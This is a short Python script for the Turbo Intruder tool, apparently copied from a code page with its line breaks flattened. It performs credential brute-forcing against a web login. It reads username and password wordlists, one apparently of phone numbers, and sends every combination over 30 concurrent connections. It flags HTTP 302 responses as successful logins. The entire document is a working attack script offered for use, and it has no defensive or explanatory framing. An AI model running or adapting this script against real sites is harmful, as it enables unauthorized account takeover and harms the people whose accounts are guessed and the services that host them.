1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from urllib import quote
def password_brute(target,engine): for word in open('/Users/mac/safe/web/brute/mypass.txt'): engine.queue(target.req, quote(word.rstrip()))
def user_brute(target,engine): for word in open('/Users/mac/safe/web/brute/myuser.txt'): engine.queue(target.req, quote(word.rstrip())) def user_password_brute(target, engine): for password in open(r"C:\Users\tea90\Downloads\f.txt"): for user in open(r"C:\Users\tea90\Downloads\phone.txt"): engine.queue(target.req, [quote(user.rstrip()),quote(password.rstrip())])
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False ) #user_brute(target,engine) #password_brute(target,engine) user_password_brute(target,engine)
def handleResponse(req, interesting): # currently available attributes are req.status, req.wordcount, req.length and req.response if req.status == 302: table.add(req)
|